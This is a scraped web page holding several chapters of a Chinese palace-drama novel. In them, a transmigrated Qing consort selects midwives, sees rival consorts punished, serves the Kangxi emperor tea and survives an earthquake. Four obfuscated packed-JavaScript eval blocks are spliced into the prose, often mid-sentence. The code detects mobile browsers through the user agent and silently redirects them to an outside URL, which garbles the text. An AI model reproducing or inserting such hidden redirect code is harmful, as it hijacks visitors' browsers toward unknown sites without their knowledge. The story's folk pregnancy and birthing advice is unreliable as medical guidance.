;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12872868|134605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留下来,除此之外,还有惠嫔的大阿哥胤褆、兆佳常在所出的五公主,都平安无虞的长大了,据她自己说,小时候专门学过一段时间的医,还是正经的中医,所以才被选中做的姥姥。 就是长得有些粗粗壮壮的,不太符合宫里人的选人标准,宫里面贵人挑人,都是要挑长相清秀,讨喜的,她长得很是一般,要不是能力强,也做不成姥姥。 叶禄氏的话,刚四十三,伺候过端嫔所生二公主,惠妃所出承庆阿哥,只可惜两个孩子都没留住,不过她长得很是讨喜,说是会按摩。 舒宁听到这里的时候略微睁大了眼睛:“姥姥会按摩?可是那种会把胎儿扶正的法子?” 结果叶禄氏却说:“回贵人的话,不是那种按摩,一般孕妇怀孕身子重,时常有腰酸腿胀的情况,经过奴婢的手一按,会好很多。” 舒宁听后有些失望,倒是方佳氏看到舒宁的表情,知道机会来了,开口道:“回贵人的话,这法子奴婢会,生产时胎儿若不是头先出来,的确会导致难产,但若是提前察觉,用些法子也是能转过来的。” 舒宁听完有些惊喜,继续问:“那你可知道有什么法子?” 方佳氏心想,这个贵人知道胎位不正会导致难产,显然不是那种一概不懂的,她得拿出点本事来才行,于是开口:“这首先呢,得贵人您趴在床上,或可扭转,其次艾灸至阴穴,孩子自己会动,说不定就成了,最后就是由奴婢在肚子上按摩,也是实在没办法的时候用的法子。”③ 舒宁听完点点头,虽然她不知道这几个法子是不是真的有用,但是看方佳氏说的这么肯定,也信了几分。 最后舒宁选了年级最大的穆达齐氏和学过汉学,身为汉军旗包衣的方佳氏,又给剩下两位姥姥也各赏了一两银子让她们走。 穆达齐氏和方佳氏对视一眼,都觉得今儿来对了,这个主子看上去是个大方的,连没选中的人都有赏钱拿,那她们这些真的伺候过的,还能少吗? 27. 明抢 自打那日选过姥姥之后,这两位姥姥的确是尽心尽力,每天早晚过来请脉,虽然舒宁也不懂她们两个把出了什么,但是每次听着两位姥姥报自己的胎一切无虞,舒宁也感到心安。 穆达齐氏虽然年纪大,但是身子的确还可以,在舒宁身边约莫一个月,也没有告过假,日常看着走路不仅不需要人搀扶着,甚至走的比一些懒懒散散的宫女还要快一些,当真精明强干的一个人。 至于方佳氏,舒宁经常找她说话,主要是想知道更多有关怀孕的知识,在现代有很多方法知道这些,随便打开一个平台搜索,多的是有关信息,甚至还有医生的账号。 如果想系统学习,甚至大学里的课程也是能搜到公开课视频的,甚至连教科书也是网购能轻易买到的。 但是在这个时候,就没那么方便了,很多知识甚至是通过口耳相传的方法保留下来的,像是穆达齐氏就知道许多小妙招,她甚至刚过来就拿出了一种润肤的膏子,说是抹了这个就不用担心身上长纹路了。 舒宁对此十分好奇,闻了闻也没有很大的味道,肤感倒是很好,一抹即化,一点也不油腻的,舒宁让金果拿着膏子去了太医院,分别找了庄太医和另一位王太医看过,都说没问题,才用在身上的。 而方佳氏知道的更多是妇人怀胎的知识,天气渐渐的热了起来,舒宁胃口越发差劲,之前庄太医的药吃了虽然见效快,但是苦药终归是苦药,喝完总感觉胃里一股子药味儿,反倒不如方佳氏做的药膳好,容易入口,吃完也有效果。 五月底,宜嫔的姐姐郭络罗常在生产,为皇上诞下一位公主,按排行,这位应该算是六公主,皇上赏了不少东西给她和公主,想来也是开心的。 舒宁自然还是为郭络罗常在开心的,有了个女儿,可以亲自养在身边,虽然往后还是有要担心的地方,但此刻的欢愉也是真的。 紫禁城看着是繁华,但真的在里边,还是很无聊的,许多妃嫔盼望得一个孩子,也不仅仅只是为了位份、赏赐、待遇,更多的,是抚慰自己的心,有个盼头,否则,一只呆在这高高的院墙之内,日子实在是黯然无光,若是有个孩子,多些欢声笑语,想必人生也会多彩一些。 可能因为舒宁爆出怀孕的时候有些巧合,正巧就在五月初,而皇上的万寿就在五月四号,所以哪怕是舒宁不能侍寝,但见皇上的次数反倒是比之前更多了些。 且大概是皇上怜惜她有孕辛苦,所以一般都是顺路过来坐坐,也不会让舒宁奔波前往昭仁殿。 从咸福宫往昭仁殿走着过去也要一会儿,哪怕是有着轿撵,其实也是晃的,舒宁升了贵人之后也体验过一次,有点类似晕车的的感觉,还是不如走着舒服的,所以不经常坐。 不过皇上一般的顺路也的确就是顺路,大概也就过来坐一盏茶的时间,也就走了,对此,舒宁其实是很乐意的,只要隔上个几天的时间工作十五分钟,就能在皇上面前刷一波存在感,多好的事情啊。 今儿大概也是这样,约莫晚上六点,前边昭仁殿的人过来报说皇上马上要来,让舒宁准备好。 于是舒宁就准备好了绿茶站在门口等着皇上过来,只是今儿舒宁看见侧边东偏殿住着的两位答应还坐在廊下喝茶,似乎是不打算进去了。 银虹刚刚就在外头,见状对着舒宁道:“最近几天两位答应总是这个时辰坐出来喝茶,说是天气闷热,屋子里又没有冰,所以坐在廊下喝些凉茶权当消暑。 但奴婢眼瞅着她们就是觉得皇上经常这个时候过来贵人殿里喝口茶,想着能不能见皇上一眼,因不知道皇上究竟什么时候过来,今儿都在外头坐了一天了,下午两点都没进屋子,也不嫌晒的慌。” “这大热天的,在外头这么晒着,好似两位答应都不如之前白嫩了呢。”紫外线的杀伤力可是不分你我的,如今正是夏天,外头太阳大,她们这么坐着,当真是黑了不少。 “贵人,她们明明不安好心,您还只想着她们被晒黑了,那不是应该的吗?”银虹有时候也有些怒其不争,明明她觉得万琉哈贵人挺好的,但心是真大,对面都明着想抢恩宠了,她怎么还不在意? “算了,跟她们置什么气,难道我还能强逼着她们两个进屋子吗?”舒宁又不是主位,这个宫里发生的事情,一应都是要交给安嫔处理的。 虽然她自大上次之后就不太管这些小嫔妃的事情,但要是舒宁开了这个口,安嫔只怕就不会是这个样子万事不管的了。 哪怕是个蠢人,倒这个时候也应该明白舒宁当初那么说就是故意的,更别提这宫里哪有蠢人呢?蠢人也坐不上嫔位了,还是七嫔之首,可见在皇上心里,安嫔还是有些分量的。 至于舒宁为什么不在意,也不管对面的两位答应,其实也没什么别的原因,因为舒宁自信她比她们两个长得都好看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12885180|134605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就看皇上都封了谁就知道了,康熙第一次封七嫔,安嫔还在首位,宜妃排在倒数第二,第二次封四妃,惠宜德荣,全是包衣,安嫔甚至连末尾都排不上。 皇上年纪越大,对朝堂的掌握越强,越不需要顾忌着平衡,只选自己喜欢的就行,惠宜德荣,荣妃多子,资历也深,但她就是排在了宜妃和德妃后边,不就是因为她长得不如前边的好看,皇上对她的喜欢,不如对前边的喜欢吗? 皇上再怎么着,也就是个男人,男人的喜欢,就是这么的浅薄,又或者说,只要是人,就是喜欢好看的,美好的东西。 要是石答应和程佳答应用个什么别的招舒宁还得想想,就在皇上跟前请安行礼就想把皇上抢走,哪有那么容易? 那边的石答应原本看着舒宁今儿出来了,心里就是一喜,这就意味着皇上要来了,但随后又是有些担心,后殿住着的万琉哈贵人很得恩宠,又怀着孕,皇上时不时就过来看看,万一惹了她不高兴就不好了。 但是程佳答应劝她:“你我入选的时候就是最大的一批,刚入宫,却和对面的尹佳答应差不多大,尹佳答应是个死人,难道姐姐你也想着当个尹佳答应那样的死人吗?还不如赌一把,是反正万琉哈氏只是个贵人,又不是嫔主儿,你怕什么?她还能吃了咱们不成? 更何况万一赌赢了,皇上看着了,记住了,这福气可不就来了?还用怕她?石姐姐你别真跟石头似的不开窍,我这是好心想着咱们两个一起住的情分才叫的你,反正你就算是不去,我也是要去了,只盼望着到时候姐姐不要后悔我没带上你才是。” 石答应听了这话,又有些心动,也怕自己真的失了机会,步步落在别人后边,所以也就答应了,跟着程佳答应一起坐着等皇上过来,到时候也能给皇上行个礼,问个安什么的。 而程佳答应硬是要叫上石答应也是有原因的,这事儿本就瞒不过去,还不如把石答应一起拉着,反正石答应粗粗笨笨的,长的不如她好看,甚至就连身形,也比她胖一些。 她入宫后特意打听过,如今宫里地位最高的就是皇上的表妹佟佳贵妃,那可是个病美人呢,想来皇上是更喜欢她这种娇弱款的。所以她才不担心呢,有石答应映衬着,更显得今儿她的柔弱可怜了。 最后呢,就算是对面万琉哈贵人真的记恨她把皇上抢了去,那石答应还能替她分担一部分压力,何乐而不为呢? 28. 失仪 程佳答应想的很好,但是真正到了那个时候,她却发现事情没有照她预料的发展。 皇上来了,一堆人跟着,因为她不想太过刻意,所以只是待在廊下装做惊喜的样子,大声的对着皇上请安。 康熙皱了皱眉,他来之前必定有人通报,谁这么不懂规矩?安嫔是怎么管的底下的人?再仔细一看,脸上的妆都花了,这样子出现在他面前,实在是不成体统。 “御前失仪,叫安嫔好好教教。” 程佳答应实在是没想到会出现这样的局面,她扑通一下跪下来:“皇上,奴才做错了什么?奴才万万不敢御前失仪啊!” 而石答应本就胆小,被皇上说了一句,浑身颤抖不敢说话,只低着头跪着。 舒宁在皇上身边看着,只觉得这程佳答应看上去没这么蠢啊,怎么敢这么说?在皇上面前反驳他的话,不要命了? 天气本就燥热,再听她说这样的话,康熙越发觉得这都是什么蠢人:“既如此,也不必安嫔好好教了。” 顾问行听到这句话,立刻会意,在皇上进了后殿之后,打发手下的人过去程佳答应那边:“答应您请吧。” 程佳答应还懵懂无知:“你们要干什么?” “皇上的意思,要您搬出这咸福宫。” 程佳答应还想反驳,可顾问行哪里会给她这个机会,让她再扰了皇上的兴致?叫力气大的宫女捂着嘴巴,又让几个小太监把程佳答应的东西搬出去,安安静静的就把程佳答应请出这咸福宫了。 而此刻的舒宁却还不知道,正在殿内和皇上说话。 “这是我新的的茶,皇上尝尝可还差能入口?” 康熙接过舒宁递过来的茶,本是随意的喝了一口,却发现十分对自己的胃口,仔仔细细的品尝了之后道:“鲜醇甘厚,鲜爽生津,还有股花香果味,这是什么茶?怎么朕没喝过?” “回皇上的话,这是‘吓煞人香’。” “怎么叫这个名字?” 舒宁也不知道原本的碧螺春为什么要叫吓煞人香,原本宫里的茶她都喝完了之后就发现,没有碧螺春,也没有铁观音,甚至像是太平猴魁、信阳毛尖、祁门红茶等等茶叶都没有。① 像是碧螺春,她最后想起来,这茶还是康熙巡游的时改名叫碧螺春的,这时候虽然有,但是也不叫这个名字,反而叫“功夫茶”、“洞庭茶”,又或者“吓煞人香”。 而十分出名的祁门红茶,她本来想要点来做奶茶喝,可问了才知道,这个时候的祁门,种的不是红茶,反而是绿茶。 太平猴魁和铁观音根本找不到影子,信阳倒是产茶,不过因为前朝茶税过重,这个时候的信阳才刚恢复种茶没多久,茶产量和品质都不高,也没有叫毛尖的。 至于这个碧螺春,是舒宁特地去内务府问了之后,专门管茶叶的这个人也一层层问下去,问到产地,大概一年多以后,内务府那边的人拿这个这个茶问舒宁这个是不是她想喝的茶,她才知道那边找到了碧螺春。 “大概是因为这茶实在是清香袭人?我第一次泡了之后,整个屋子都是香气呢。” “汤色碧绿、卷曲如螺,合该叫碧螺春才是。” “皇上爱喝,还专门赐名,是这茶的福气。” “不过你怀着孕,可以喝茶吗?”康熙记得荣嫔怀孕时就完全不碰茶,他过去了,也只是给他泡一壶,自己是一点也不敢喝的。 “庄太医说了我一切无碍,也说了适量喝应该没什么关系,今儿也是为了皇上才泡的茶,平日里也就是早上喝一小杯,三五日喝一次而已。” “还是明个多叫几个太医来问问,一家之言总会有偏颇。” “是。”舒宁有些失落,这可喝可不喝的东西,她怎么能知道太医让不让她喝,万一他们觉得不喝最安全,不让她喝茶了呢? 舒宁是真的觉得孩子不至于这么脆弱,就这么一点点的咖啡因就能把孩子弄掉,要真是这样子脆弱,生下来肯定也是多病多痛的,还不如不生下来,省的费事。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12903553|134605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么闷闷不乐的。”康熙自然也发现了舒宁的小情绪。 “我都喝了这么久的茶了,也没事儿,可那些个太医一个一个的,为了推脱责任什么话说不出来?喝与不喝,当然是不喝最为安全。” 这事儿也很简单,说能喝的,以后万一出了什么问题,岂不是他说能喝茶的罪过?但说不能喝的是,一定没责任。 康熙笑了笑:“刚说完你就不高兴,你进宫也好几年了,都要当额娘的人了,怎么说话还这么不稳重,朕的吩咐,他们不敢不照实说的。” 舒宁情绪来的快去的也快,更别提皇上都给她台阶了,她自然要顺利的下来,随后,舒宁又开始给皇上介绍起碧螺春来。 只是不知道是这茶实在吸引人,还是皇上兴致来了,直接就在舒宁这里用了晚膳,等到晚膳之后,又下了一会儿的棋,才从咸福宫起身。 舒宁送完皇上,才卸下钗环,知道了程佳答应的消息,听完,沉默了一小会儿,她应该想到的,安嫔都不用费劲儿教了,自然也不必留在这咸福宫了,被皇上厌恶的嫔妃能有什么下场呢? 这东西六宫,包括紫禁城都没有一处直接挂着牌子写着冷宫,但那些偏远的、荒凉的、年久失修的宫殿,却多的是,住进去,只怕和冷宫也差不多了。 “听说程佳答应直接是被捂着嘴带走的,御前的人可真厉害,愣是没让她发出一点声音,就这么拖走了,石答应看着很是害怕,战战兢兢的,直接缩在屋子里不出去了。” “安嫔知道了吗?” “顾总管差人去说了,毕竟石答应可没被皇上驱出去,还叫安嫔好好教导她的礼仪呢,安嫔就回了句知道了,不过听说她脸色不好看呢。” 这是自然,咸福宫的人,就是安嫔的人,相当于大老板很是器重安嫔,叫她管一个部门,部门里的人出了问题,她这个领导脸上自然也不好看。 想到这里,舒宁又有些担心,如果自己的孩子生出来了,皇上不会给安嫔带着吧,安嫔也没孩子啊。 29. 地震 不过随后,舒宁又仔细的想了想,觉得皇上应该不会把孩子交给安嫔,这宫里的孩子也不少,但没一个是安嫔养的。 看看如今养着孩子的人,要么是高位,例如佟佳贵妃,养着四阿哥胤禛,要么是惠嫔,算是皇上的孩子中,第一个养大的,可能是皇上觉得惠嫔对照顾小婴儿有经验,所以也把皇子和公主交给惠嫔抚养过。 除此了佟佳贵妃,可能皇上还是倾向于把孩子交给生育过的嫔妃抚养,而不是既不算是高位,在嫔位中又没有生养过的安嫔。 入了六月,天越来越热,舒宁实在是觉得没什么胃口,加上她也出现了害喜的症状,若是稍微吃多了一点,就总是想吐,所以舒宁相较之前不胖反而看着瘦了一点。 乌雅氏看着就说是不行:“这是我当初怀孕时吃的单子,当时我也害喜,吃不下,这都是我觉得能吃下去的,你也拿着去看看,觉得不错,让大膳房给你做,多少吃些东西,吃不下去孩子怎么能长大呢?” 舒宁倒是没觉得这有什么不好,她虽然没有经历过,但也知道,孩子吃的过大,而产妇的骨盆太小,是导致难产的一大原因。 起初舒宁觉得自己个子高,到时候生产应该不至于那么艰难,但她虽然瘦了,可穆达齐姥姥看了,说是肚子没小,就是正常的围度,舒宁甚至担心,她这瘦了一点肚子都没小,万一胖了,肚子岂不是要过大,所以尽量的也在注意不要多吃。 只是这个时候的人可能还是觉得怀孕就要补养身体,能吃才是福气,所以怀孕的时候都会胖点,也是寻常。 乌雅氏也是生产完了之后,才慢慢的瘦了下来,虽然说生产没有什么特别好的办法,但是生产完之后调理身体的办法,宫里可多的是秘方。 毕竟在宫里,皇上的恩宠与喜爱,就是最重要的,且这个时候也不讲究什么生育损伤,一个接一个的生,那才是有福气的,为了尽早的摆上绿头牌,所有人都是拼了命的想要回到产前的状态。 “其实我觉得还好,一般也就是早上恶心,稍微等会儿就好多了,吃饭也就是吃多了会有点难受,想吐,吃少点就好。” “你呀,也是个有福气的,这几个月也就这一点难受,我当初怀着胤禛的时候,晚上都睡不着觉,等月份大了,腰酸背痛的,不说起来,就光是翻个身都要身边人抬呢。” 觉禅氏只觉得有些害怕:“怀孕都是这样的吗?吃不下饭,睡不着觉,难受的不行?” 乌雅氏见觉禅氏有些害怕,安慰她:“也都是,全看个人体质不同,这怀孕的反应也是不一样的,怀孕是喜事,你别害怕。” 七月,因为外头天气实在是炎热,舒宁懒得动弹,但不动不行,她的肚子眼瞧着起来了,为了避免难产,舒宁每天都要趁着清凉的时候在外头走一走。 只是每日请安的时候,舒宁开始坐步辇了,原本她是不太想坐的,但穆达齐姥姥觉得就舒宁一个人再带着两个宫女走着,实在是人太少,万一哪个不长眼的冲撞了,就不好了。 可坐乘坐轿撵,虽然说只是贵人,也有四个人抬,再加上银枝和银叶一前一后,远远的就瞧见了,自然都会避开,安全许多。 舒宁觉得在理,也是过了那个时候,不恶心呕吐了,坐步辇没那么难受了,才答应。 这也是舒宁为什么要换个时辰走路的原因之一,如果还是走着去请安的话,从西六宫最西边的咸福宫到东六宫最南边的景仁宫也有不短的路呢,光是请安,也就锻炼够了,不需要额外再去找时间走路。 因宫里午膳的时间是约莫下午两点,这些天舒宁为了养身,都会在吃饭之前,大概十二点的时候,睡个午觉。 只是今儿的午觉睡的有些不太好,她似乎梦到了从前,她躺在床上无聊到刷着视频,刷到了一个地震汇总,说的是北京附近历史上发生的十大地震,其中好像就提到了一句康熙十八年……巳时……北京……发生地震。 只是还没想清楚具体是什么地方,舒宁就被人叫醒了,睁开眼睛一看,皇上就在床旁边坐着。 看着舒宁茫然的眼神,康熙有些担心:“这是做噩梦了?朕过来喝杯茶,瞧你睡的很不安稳,嘴里还说什么地震,可是睡糊涂了?” 舒宁这才发现自己出了一身的汗,额头也是大颗大颗的汗水滑落,银枝正在一遍擦汗。 “也不知怎么的,我梦到地震了,的确是个噩梦呢。” “怎么突然梦到这个?等会儿叫太医来给你瞧瞧,再去中正殿拜拜才是。” “我等会儿就吩咐人叫庄太医来一趟,明儿去上香。” 康熙一直等到庄太医过来,说是舒宁没事儿,就是受到了一些惊讶,有些忧虑,只要安心下来,两三天就没事了,才放心下来,又陪着吃了一顿饭之后才离开。 而舒宁等皇上走了之后,心里却实在是担心,康熙十八年地震,没说月份,也不知道地点,这她可怎么防啊。 这个时候的屋子虽然都只有一层,且都是木头,但塌了的话也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12914908|134605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是能砸死人的。虽然舒宁是相信古人的智慧,也相信紫禁城的质量,但难免还是会担心。 唯一让人安心的就是巳时,也就是早上九点到十一点这个时间发生的地震,是白天,不像是晚上大家都在睡觉,伤亡应该能小一些,舒宁也不至于晚上睡觉还在担心地震,能好好睡个觉。 自打知道会地震之后,舒宁就让金果仔仔细细的检查了一下咸福宫后殿,看木板是否有松动之类的。 还好,咸福宫后殿是康熙十六年舒宁搬过来的时候才整修过一次的,只有被舒宁当库房的那个屋子,窗户有些不太稳当,舒宁就叫了营造司的人过来修补了一番,顺便她还把其他地方都叫增强了些。 营造司的人虽然不理解舒宁为什么这么做,但贵人们的心思哪是他们这些人能猜到的,听吩咐做事就是,还能问主子不成? 之后舒宁又借口这个,让乌雅氏和觉禅氏也都是看看自己的屋子,有没有松动的地方。 景仁宫倒是还好,几年前佟佳贵妃入宫的时候整修过一番,没什么问题,但永寿宫许久没人住,觉禅氏真的发现廊下的抱头梁松动了,很是害怕,还特地过来谢了一番舒宁的提醒。 而舒宁自从知道是巳时地震之后,每天请完安回来,只要是这个时辰,就坐在廊下阴凉处,旁边就是往下的台阶。 一般就是喝喝茶,在院子里走走路,又或者是看着底下的人踢毽子,跳皮筋,反正不到屋子里去,若是真的有问题,各个宫的院子还是不小的,舒宁第一时间就可以跑到咸福宫的空地上。 七月二十八日,巳时,舒宁正坐着喝大膳房刚送过来的乌鸡白凤汤,就感觉没端稳碗,汤水晃出来了不少。 一遍伺候着的银叶还不懂为什么,想着拿帕子擦桌子,但舒宁立刻明白,这是地震了,于是赶紧道:“地动了,都到院子里去,别在廊下站着了。” 穆达齐氏原本是过来给舒宁请脉的,就等着舒宁喝完汤了,她年纪大,经历的事情多,康熙四年,京城就震过一回,这下也知道这是地龙翻身了,赶紧喊着:“快扶贵人去院子里啊!” 其他人一听这话赶紧搀扶着舒宁往青砖上挪,但这时候地是晃的,金桃直接摔了一跤,银枝银叶一点一点的把舒宁往外头搀扶,还好她们都在廊下,三两步就到了院子里。 只是地还在晃,舒宁站不稳,又担心摔跤,索性直接坐在了地上,又有银枝银叶她们搀着,倒是也没怎么,只是她刚刚喝了汤,被晃的恶心劲儿又来了。